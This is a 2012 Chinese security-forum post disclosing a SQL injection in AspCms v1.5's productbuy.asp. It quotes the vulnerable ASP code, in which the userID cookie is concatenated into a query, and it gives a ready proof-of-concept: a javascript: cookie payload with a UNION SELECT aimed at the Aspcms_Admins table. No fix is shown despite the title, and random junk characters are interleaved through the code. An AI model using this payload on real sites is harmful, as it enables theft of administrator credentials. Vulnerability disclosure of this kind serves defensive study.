找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2244|回复: 0
打印 上一主题 下一主题

AspCms_v1.5_20110517 SQL注射漏洞及修复

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-27 08:35:05 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
好久没上土司了,上来一看发现在删号名单内.....( a% S. M! K" G- N% k+ ]
也没啥好发的,前些天路过某个小站,用的AspCms这个系统,搜索了下,productbuy.asp这个文件存在注射,但是目标已经修补....下载了代码,很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞,但是就在同一个文件下面找到了注射漏洞。。。。。。。
. k6 r* v5 x! J% y) C" A( R废话不多说,看代码:4 X0 F  V' r# z* l, ]+ @8 W) o. E* ?

8 ^, |6 k4 ^) y! g) A<%+ H+ c/ n, P8 ?2 g. m* }

: n& D/ C; G' Z' |# W( D. G  nif action = "buy" then+ s# k$ w" \) ?# p' B% R8 G! v

5 M- h3 l* j2 @  `. B& Q3 {        addOrder()5 y# A: j! }; |+ |/ M" c
6 O+ k: t. g- ]0 g2 \
else
/ z& {2 l* F( k8 n4 j9 j
$ {7 o  O4 c9 k6 G+ ~        echoContent(), H% R  ?- R" Q' Q

1 X# S; {6 h1 rend if2 F+ F6 q, r3 Z/ u

# {$ K* u% U+ w5 F4 |
" [4 ^2 [! l7 |8 }) }3 B% u% k1 A# k. f3 w0 |/ k0 r
……略过
0 Y! \8 \6 g( w( h' E% i+ `! @9 q' ?2 `+ _, q" S  E/ n! Q

9 Z3 k. S/ M# n/ w( v& S* I
* E6 Z6 k* m4 ^; Y0 f" GSub echoContent()
) k' t$ W& M, C
; G8 Q3 @$ Q- L! ?) o; h0 R        dim id: }) W% c% I4 U  T$ ?4 p
3 s0 @' l4 }0 Y$ M
        id=getForm("id","get")* ~: }2 Y+ S; R

+ y. P$ f; g- J4 G& l8 f. U0 V        4 j" P7 f9 o# T0 x) X

7 b9 \) W7 c: T        if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品!","-1" $ J2 V  }; P8 \/ [, Z; E
7 P. w" S7 O7 O0 q" A5 `/ U; D
        + M: F2 K. x; J- j, {

/ @2 H) \2 ^9 C5 I& H7 T. x        dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")
' e& t  {# t& D6 F" n% A9 a( _3 e. i  x& ~. r8 [6 @3 m6 j
        dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct
% f. X  B# p+ S! b+ z, w7 _. r3 W' \. q: s, `5 H' Q/ y% u
        Dim templatePath,tempStr
0 N5 H: i+ o1 l$ S& h1 U' _( C9 r; D
        templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"
7 Y9 H+ O, m: m8 D( @7 `% h$ m* x9 a0 E4 P" N$ f

! ]* t" m+ X' {$ J+ }
1 Q9 c: E9 h$ t/ j: F+ Z" g0 T        set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")" a+ I, O$ X0 i. C! s1 F0 W  J

. f9 n$ W5 i- s( e0 U        selectproduct=rsObj(0)7 K# y- W& P8 u0 x
" f+ {2 r  F! L0 V
        6 b& N& n; G8 B! d$ Z1 X5 b' V5 V5 c
9 \* m+ N+ B9 H; Q
        Dim linkman,gender,phone,mobile,email,qq,address,postcode) [* v% Z$ L% {, u( B
8 T  n' T- d: Z/ ]5 B( J
        if isnul(rCookie("loginstatus")) then  wCookie"loginstatus",07 x- E! h+ b* q0 X

4 n- m; J# l' M( U& F$ U2 m        if rCookie("loginstatus")=1 then  
  ^% E! ]: I. K- \" \4 v5 _
2 s9 U- b3 e& c1 L; @4 z                set rsObj=conn.Exec("select *  from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")1 ]' a8 i5 [2 {: P! _' {
6 @7 c: o2 o0 f* K
                linkman=rsObj("truename")* {: b" F, Q4 _, ]% }

* G, m0 E+ ?+ w" i, r                gender=rsObj("gender")
4 f0 |& ]( q  E% y. o/ [7 V- t: `5 b/ F; L4 U# D3 ^! s) ~
                phone=rsObj("phone")
, q# R1 S( i: S+ P% Q
! f! a6 g4 b* M& B$ H                mobile=rsObj("mobile")
+ a5 g& G$ c, J9 T: U9 N* v4 ^: ?, q. J4 _# i; X3 K
                email=rsObj("email")+ f) P5 ]* t, {7 c% v
1 h! {+ P1 Y) P# P0 m& L2 B. R
                qq=rsObj("qq"): w" O0 ?7 P* S7 h' u

9 u( a- h$ g9 t( Q                address=rsObj("address")
6 |0 O* L4 D. a5 ~$ Z1 f
7 p! m& ?* o; W  [* b                postcode=rsObj("postcode")
$ h# W  `; @  u+ \% Q% n. f
3 T7 n' [9 M2 n1 }2 M9 }        else
) b  R* h7 b+ z- H8 @& P! b: d. F. k
! z: i  J' C3 z% L9 }                gender=1
% ?- d0 _  s" {/ [# V1 L7 q2 a4 K7 L% E% P& D; c) W; H
        end if
9 g# {& o' Q& r& n* t' p$ |0 [
+ j. y+ ]6 ^  n        rsObj.close()
9 m, O& N$ S) e/ }( e! f6 x1 H% v; s! G0 ]! v
               
+ S5 F5 Q3 t9 C& P
4 L( c# o- v  k4 D        with templateObj ! p9 j9 H1 j+ n6 Z
) D2 z$ k- P0 Z% }% j- J5 s
                .content=loadFile(templatePath)        & V! o" S, I5 p" G: p, o+ d

: X% @9 G% C% P5 O3 w9 q% }! Q                .parseHtml()
- Z* y% I9 P+ E' d
! W5 _! @' E5 e( h; h                .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)+ v2 ]( p/ g: E" u! C
. }; z7 k$ k2 W' {) K
                .content=replaceStr(.content,"[aspcms:linkman]",linkman)               
2 C# |& j$ i7 X# ~2 L1 ?* d6 ~* ^, E% W/ `& T
                .content=replaceStr(.content,"[aspcms:gender]",gender)               
' t9 h/ R. p8 `4 [; F) g( q, O% r( E2 Q4 x# Z. K  T( ]
                .content=replaceStr(.content,"[aspcms:phone]",phone)                # R' ~$ j: b& C/ Y% r  t1 N! d
: t2 v1 w% c5 k+ `( @: P+ d9 r
                .content=replaceStr(.content,"[aspcms:mobile]",mobile)               
9 O5 [1 G% \! W0 Q( H2 D
& E# s$ E4 _6 w. E                .content=replaceStr(.content,"[aspcms:email]",email)                        
1 i. p; [5 v7 q
0 y- [! l" M* K                .content=replaceStr(.content,"[aspcms:qq]",qq)                        # Q! F+ w, z7 g3 d1 I! p" X. D

# @5 f: Q( z8 I! A5 r. J                .content=replaceStr(.content,"[aspcms:address]",address)                        * u8 @% G; v; D) W  Y3 f7 ^
. v& M4 Y* h+ |% g
                .content=replaceStr(.content,"[aspcms:postcode]",postcode)        3 N7 k4 u: t4 e* ~. |+ G) s

; A0 y: q# W% V, Q                .parseCommon()                 , i" b1 M; {5 U2 X1 s7 m1 c4 |
( A" u! j  c- B4 k9 e, S3 C. |) A6 ]
                echo .content 2 d' ?( h/ B0 A- H2 Z; N3 E4 D
: w  x  t( V+ Z/ L0 S( Z
        end with8 E; [$ n5 {% ^6 `) E

& V/ _9 P8 x! e" v& X        set templateobj =nothing : terminateAllObjects% X1 l. H0 \5 r9 t8 o, {- T  `
& u8 P4 X2 e- A( S
End Sub
0 ^% {/ N6 ^+ q漏洞很明显,没啥好说的: L/ E0 v- n# K1 u& a( r% P# ~$ d
poc:. Q- }/ Q7 C: o& ?- k
3 F/ y% {- A9 X2 O: w' _
javascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外,脚本板块没权限发帖子​
' h5 r: f* b/ M6 W/ v+ @$ `  S8 J' E8 W8 l/ ]
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表